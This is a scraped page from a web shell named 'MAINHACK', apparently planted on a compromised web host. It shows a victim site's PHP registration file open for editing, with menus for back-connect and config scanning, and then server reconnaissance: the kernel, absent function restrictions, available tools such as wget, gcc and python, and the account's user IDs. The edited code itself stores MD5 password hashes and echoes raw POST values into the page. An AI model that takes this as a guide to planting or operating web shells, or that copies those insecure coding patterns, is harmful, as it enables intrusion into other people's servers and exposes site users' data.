[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: reg1.php
<?php include("header.php"); ?> <!-- Banner Start --> <div class="reg"> <div class="container"> <div class="main-content-agile"> <div class="col-md-7 col-sm-7 col-xs-12"> <img src="images/reg-gif.gif" alt="" class="logo-img" style="width:100%" /> </div> <div class="col-md-5 col-sm-5 col-xs-12"> <div class="sub-main-w2"> <form action="#" method="post"> <div class="input-group"> <span class="fa fa-envelope" aria-hidden="true"></span> <input placeholder="Email" name="em1" type="email" value="" readonly /> </div> <div class="input-group"> <span class="fa fa-user" aria-hidden="true"></span> <input placeholder="Your Name" name="na" type="text" value="" readonly> </div> <div class="input-group"> <span class="fa fa-calendar" aria-hidden="true"></span> <input type="text" class="pin" name="pin" placeholder="Pincode" pattern="[0-9]{6}" title="Please give Correct pincode" required=""> </div> <div class="input-group"> <span class="fa fa-location-arrow" aria-hidden="true"></span> <select class="drop" name="st" id="typ" required="" style=""><option value="">Select</option> <?php $s="select * from states"; $s1=mysqli_query($con,$s); while($row=mysqli_fetch_array($s1)){ echo "<option value='".$row['state_name']."'>".$row['state_name']."</option>"; } ?> </select> </div> <div class="input-group"> <span class="fa fa-home" aria-hidden="true"></span> <input type="text" class="city" name="city" placeholder="City" required=""> </div> <div class="input-group"> <span class="fa fa-map" aria-hidden="true"></span> <textarea placeholder="Address" name="add" style="" required=""></textarea> </div> <input type="hidden" class="city" name="phn1" value="<?php echo $_POST['phn']; ?>" required> <input type="hidden" class="city" name="pass1" value="<?php echo $_POST['pass']; ?>" required> <div class="sub-agile"> <input type="checkbox" id="brand1" value=""> <label for="brand1"> <span></span>I Accept to the Terms & Conditions</label> </div> <input type="submit" value="Register" name="sub1"> </form> <?php if(isset($_POST['sub1'])){ $uid=$show->getid('ids','CLI'); $phn=$_POST['phn1']; $data = array( 'client_id' => $uid, 'name' => htmlentities(strip_tags($_POST['na'])), 'phone' => htmlentities(strip_tags($_POST['phn1'])), 'pincode' => htmlentities(strip_tags($_POST['pin'])), 'email'=> htmlentities(strip_tags($_POST['em1'])), 'password' => md5($_POST['pass1']), 'created_at'=>date('Y-m-d'), 'address'=>htmlentities(strip_tags($_POST['add'])), 'state'=>htmlentities(strip_tags($_POST['st'])), 'city'=>htmlentities(strip_tags($_POST['city'])), 'sex'=>htmlentities(strip_tags($_POST['sex'])), 'updated_by'=>'SELF' ); $r=$show->insert('client',$data); if($r==1 ){ echo "<script>alert('Your Registration is Complete .Enjoy wide range of food with us.');window.location.href='login.php'</script>"; $_SESSION['trans']=$a; $email_subject = "Registration Confirmation"; $em='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content1="<html><head> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 20px double #999;' width='800px'> <tr><td style='text-align:center;background: #999;'> <h3 style='text-align: center; color: #fff; font-size: 20px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td style='text-align:justify;font-size:18px;'><br>Hi Admin,<br><br> New registration is been confirmed. <br> <br><br><br><br> Thanks & Regards,<br> $company_name,<br> Web : $website/<br> Email : $email<br> <br> <br> </td></tr> </tr> </table> </body></html>"; $email_content=" <html><head> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 20px double #999;' width='800px'> <tr><td style='text-align:center;background: #999;'> <h3 style='text-align: center; color: #fff; font-size: 20px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td style='text-align:justify;padding:12px;font-size:18px;'><br>Hi ".$em.",<br><br> Your Registration has been successful . <br><br> <br> <br><br><br><br> Thanks & Regards,<br> $company_name,<br> Web : $website/<br> Email : $email<br> <br> <br> </td></tr> </tr> </table> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($email,$email_subject,$email_content1,$headers) && @mail($em,$email_subject,$email_content,$headers)) { // echo "<script>window.location.href='otp.php?id=".base64_encode($capcha)."&uid=".base64_encode($id)."&m=".base64_encode($mail_id)."'</script>"; } else { echo "<script>alert('Registration is Complete. Login to continue shopping.')</script>"; } } } ?> </div> </div> </div> </div> </div> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619